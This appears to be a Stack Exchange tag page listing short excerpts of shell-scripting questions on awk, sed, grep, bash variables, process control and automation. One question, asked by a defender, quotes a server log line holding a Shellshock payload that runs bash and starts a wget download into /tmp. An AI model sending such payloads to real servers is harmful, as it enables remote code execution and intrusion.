A shell script is a script written for the shell, or command line interpreter, of an operating system.

learn more… | top users | synonyms (1)

-4
votes
1answer
28 views

Shell script for going through files and deleting or compressing them

List, one at a time, all files larger than 100K in the /home/username directory tree. Give the user the option to delete or compress the file, then proceed to show the next one. Write to a logfile ...
0
votes
1answer
24 views

Awk script to run a command based on condition using 'if'

I have a piece of code here that basically takes a file called 'srcip' (which is just a list of IP addresses) and compares it to my '~/db' file which is just a tab delimited IP HOSTNAME database of ...
1
vote
1answer
21 views

Split very long line of words into separate lines of max length

I have a script that outputs a list of packages on a single long line separated by spaces. The information included in this line shall be inserted into a text file which is later presented to a user. ...
2
votes
2answers
26 views

Grep in newest file

I'm trying to find a specific line from the newest file I have in subfolders. Files have the same name. So structure is like: Folder SubFolder1 filename.xml SubFolder2 filename.xml I'm ...
-1
votes
1answer
37 views

What is the difference between set, env, declare and export when setting a variable in Linux shell?

What is the difference between set, env, declare and export when setting a variable in Linux shell, like Bash?
0
votes
0answers
29 views

Why variables in shell are not inherited by sub-shell now that the sub-shell is implemented by fork?

When running shell command in shell scripts, a sub shell process is generated. Doesn't the process is generated by fork function? Why the variables that are not exported are not inherited? In fork, ...
1
vote
1answer
21 views

Get a range of lines from a file and replace a line in that range using awk or sed or both

I would like to replace a line in a section of the smb.conf file using either awk or sed or both if need be. Here's the section in the file... [CMI] oplocks = no wide links = no writeable ...
22
votes
3answers
3k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
0
votes
1answer
20 views

Remove beginnings of email addresses from text using grep or sed

I have a text file with lines like the following: John Stevenson Johnnyboy34 john.stevenson@company.com 0320423\n Mike Anderson AndersMike mike@mikeltd.foo 0234234 How do I remove the "text" ...
0
votes
1answer
29 views

word boundary in a awk command not working when printing a range of lines

I am attempting to parse samba .conf file for a specific share section... [CMI] oplocks = no wide links = no writeable = yes delete readonly = yes path = /LOCALSITE/CMI ...
0
votes
1answer
21 views

How can I automate this task in Notepad++

I've a text file with around 200+ table names. Sample like this T_BCPCOMITEE_EA4 T_BCPEMERSIT_EA4 T_BCPROLE_EA4 T_BDR_AG_EA4 T_BDR_CRITERIA_EA4 I need to take the table name and add a select ...
0
votes
1answer
27 views

How to use the awk to print the output

This command nstats gives me output like below. How can I use awk or grep to give me the uptime with only days on it? I cannot use the "" to get the output. HOSTNAME LOAD MEMORY SWAP PROCS ...
1
vote
1answer
37 views

How to view two dialog boxes on the linux console, running on the same time?

I want to view on the Linux console two dialog windows on the same time. I want a window that views the progress BAR, and the a second tailbox that view the logs are running. The problem is that the ...
0
votes
1answer
21 views

why following script is failing?

#!/bin/sh declare -a LIST= ('a' 'b' 'c' ) is failing on Ubuntu on which /bin/sh is softlink to /bin/dash How can I declare list which will be supportable on all kind of shell ?
2
votes
1answer
49 views

Timer running under bash script in dialog window

The following bash script is an example on how to use the dialog command. This script runs a progress bar (and displays the process upgrade). What is missing in the dialog is a time clock - that ...
0
votes
2answers
31 views

How do I concatenate strings from a list in a bash script?

As an example: List="A B C D" for I in $List do OUT=$OUT" -$I" done When I run this the result is: " -A -B -C -D" but want it to be: "-A -B -C -D" How do I concatenate without the ...
0
votes
1answer
14 views

Autostarting a script at boot doesn't recognize the function “function”

I'm trying to get a script containing a function to run just after root autologin on TinyCore 5.3. The script works fine if I launch it from the prompt after login like this ./script.sh But when I add ...
0
votes
1answer
54 views

OS X shell script to connect to a kown wifi AP without explicitly using a password

As the title says, I'm trying to write a shell script that begins by connecting to a specific SSID (one that I've connected to before, a preferred network). The only way I can seem to do this via ...
0
votes
3answers
40 views

How to find length of string in shell

i need to calculate it using pure sh shell only. What happening is /bin/sh is actually a soft link to bash or other shell.Hence ${#STRING} gives length of string as it is advance bash feature. Can ...
0
votes
1answer
19 views

Insert AppleScript variables without comma seperating them from text

I need to run a shell script in an applescript like this set key_status to (do shell script "defaults read " & path_to_plist & " PlistKey") But unix gives an error because this script seems ...
0
votes
1answer
32 views

How to determine if a screen is running jobs without attaching to it?

I wrote a zsh script that launches many screen sessions and runs a different command in each of them. When the script is executed there are 72 screens in total, so checking if a job is finished or not ...
0
votes
1answer
50 views

Curl can't follow “This page should automatically redirect”

I'm attempting to automate a login for the a course webpage I have to check this semester. I know that the POST request I am making is being done correctly because I get to the intermediate redirect ...
-1
votes
1answer
33 views

Creating a shell script to compress files using Cygwin [closed]

I've got a minor project wherein I'm to create a few shell scripts in Windows and run them through Cygwin for Linux files. At least that's how it was described to me. Any suggestions would be great.
0
votes
0answers
48 views

ksh script using if break statements

I have a script file that has the server details like set -A SERVERGRPS SERVERS_CA SERVERS_NY set -A CA ca126 ca546 ca 642 set -A NY ny112 ny113 ny114 now I have to write a another script which ...
0
votes
1answer
30 views

Linux bash iterating and Break

I have two server groups SERVERS_CA AND SERVERS_NY. I will have a array something like SERVERGROUP=(CA NY) CA and NY will have set of servers in arrays like CA=(ca126 ca546 ca 642) NY=(ny112 ny113 ...
0
votes
1answer
64 views

Monitor process start time, end time using shell script

I am working on project in which we execute shell script which invokes the Node process and further processing happens. I want to design a script which should log the start time, termination time of ...
0
votes
0answers
18 views

Can I Query a Pdf Reader If It's On The Last Page?

I'm writing a wrapper shell-script to do the following: Searches a directory for .pdf/.djv files. makes an ordered "playlist" of files Opens 1st file in a pdf reader. Automatically change to the ...
3
votes
1answer
65 views

Bash: optionally passing arguments to a command

I'm trying to add arguments to a command call depend on another variable. Please look at the shell scripting code: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ ...
0
votes
1answer
48 views

Start Chrome by command line, but adding some arguments to make it login into your Google account automatically

Is there a way to start Chrome calling it from the command line (using Linux), but providing it some argument to make it login into some Google account automatically? I'm looking for something like ...
1
vote
2answers
45 views

Controlling Multiple Instances of VLC etc. by a “Unified” Hotkey Command

I wish to invite suggestions regarding if and how is the following achievable: controlling multiple instances of a media player (say VLC) by one "unified" hot-key command. eg. Pressing spacebar would ...
0
votes
1answer
38 views

Execute vim commands from a script

SO I've created a script that opens all of the files in a particular directory in vim in separate terminal tabs for me: #!/usr/bin/perl use v5.14; my $wd = '/home/luke/Pokemon-Battle-Simulator'; ...
1
vote
0answers
18 views

“Autoscroll” Pdfs one by one from a “play-list”/directory

Is there a way to achieve this: open multiple .pdf from a "playlist"/given directory one by one in the same window, with auto-scrolling enabled? (Explanation: 1st pdf opens- autoscrolls to the end- ...
1
vote
1answer
106 views

How to restore “.sh” association in bash?

For some unknown reason I have a Debian 7 VM where .sh files that don't have a shebang line (#!/bin/sh) are no longer associated/executed by bash, ie. under bash, with "test.sh" an executable shell ...
0
votes
1answer
33 views

Dynamically discover new IP address of device upon new network

I carry my phone and laptop with me everywhere, and I have many software solutions that communicate through Wi-Fi. (For example, I can play/stop/pause the music on my laptop using my cell phone). ...
0
votes
4answers
58 views

Kill multiple processes by name instead of pid

I have a job that spins up 2-5 copies of a command on Ubuntu Server 14.04. I'm trying to figure out the simplest (i.e. single command-line instead of a script if possible) to kill all of them. The ...
0
votes
0answers
29 views

Automator shell script that triggers opening gui apps

So I have a service, I want it to be running on startup. I thought I could use Automator. The problem is - that thing may need to open gui app, and that of course doesn't work. I'm running Vrome ...
0
votes
1answer
47 views

Memory usage of a process in a shell script

I want to find out the memory usage of a process in a shell script.I tried to use this piece of code : while[process] do if [ -e /proc/$pidno/statm ]; then m=`awk '{OFS="\t";print ...
1
vote
2answers
32 views

What's the Ideal Way to Swap Entries in the $PATH environment variable?

In Linux and/or Mac OSX, what is the best way to automate moving an entry in the $PATH environment variable to the front of the value like this: /foo/bar:/one/two/three:/opt/local/bin:/home/user/bin ...
1
vote
1answer
34 views

Find and run script from another directory

I have a script, say data.sh, which takes many data files in the same directory and process them. I have many directories with different files but I have the same script in all. I can routinely go to ...
0
votes
0answers
23 views

how to detect availability of GUI

For Linux: I have a text mode installation (bash) script and a graphical mode setup program (a Free Pascal binary). I'd like to run the graphical setup when a GUI is available. How do I detect which ...
1
vote
2answers
78 views

What does \; mean in a script?

What does \; mean in the following command? I’m also not sure what {} means. Is \; really necessary? find ./ -name file_1 -exec cp {} ./ \;
0
votes
0answers
36 views

Rsync and find filter

I'm trying to use rsync in combination with find to restrict the number of files to copy. My code looks like this: for NODE in $NODES; do echo Processing $NODE ........ for LOGDIR in ...
0
votes
0answers
310 views

Windows 8.1 does not remember credentials of network location

I have a bunch of computers running Windows 8,1 connected by LAN to one central server that runs Server 2012 R2. I have all my scripts stored on the server, so to be able to run them from the other ...
2
votes
1answer
44 views

Is this a bash-specific method of calling a script: VARIABLE=value bash somescript

I have worked all my life in HPUX/ksh shell, so bash these days seems to be throwing new ways of doing many things (many of which don't seem to be POSIX compliant - for example 'mkdir -p ...
0
votes
0answers
29 views

How to manualy spawn a client in a specific tag in Awesome?

I already have automatic tag assignation for clients using rules, but sometimes I need to spawn a client in a specific tag. For example, I usualy want my browser (dwb) in tag 2 using the following ...
0
votes
1answer
169 views

init.d control script for virtualbox VM

I have an Ubuntu server on which a Virtualbox virtual machine needs to be running at all times. The VMs are administered by a specific user VMAdmin which has no admin privileges. I need to create a ...
2
votes
1answer
58 views

Using bash script to select/view only specific data from logfile

My NAS creates a logfile in the format below: <30>1 2014-07-21T05:02:10+02:00 ABC-NAS qlogd 6432 - - qlogd[6432]: event log: Users: Glacier, Source IP: 127.0.0.1, Computer name: localhost, ...
-1
votes
2answers
34 views

trying to login automatically into a server using sudo ssh cmd in script [closed]

I am new to Shell scripting. I want to login to a server using a script. The normal command I use is --> sudo ssh . when i tried putting this into a txt format file and tried running, it throw an ...
-2
votes
1answer
105 views

how to run command in another terminal in Linux script

In Linux shell script I have to run few commands under another user but I am enable to. Please advice some suggestions. $ jumpto -T -u ... after this command it enters in another terminal and I ...
-1
votes
1answer
39 views

how to retrieve following error when i execute shell script

I have one script to log into remote server.But i tried to Execute the script some error occur. Logs: My script: #!/bin/bash S1=$(ssh -t selvam-odc-shell1 "users | wc -w ") S2=$(ssh -t ...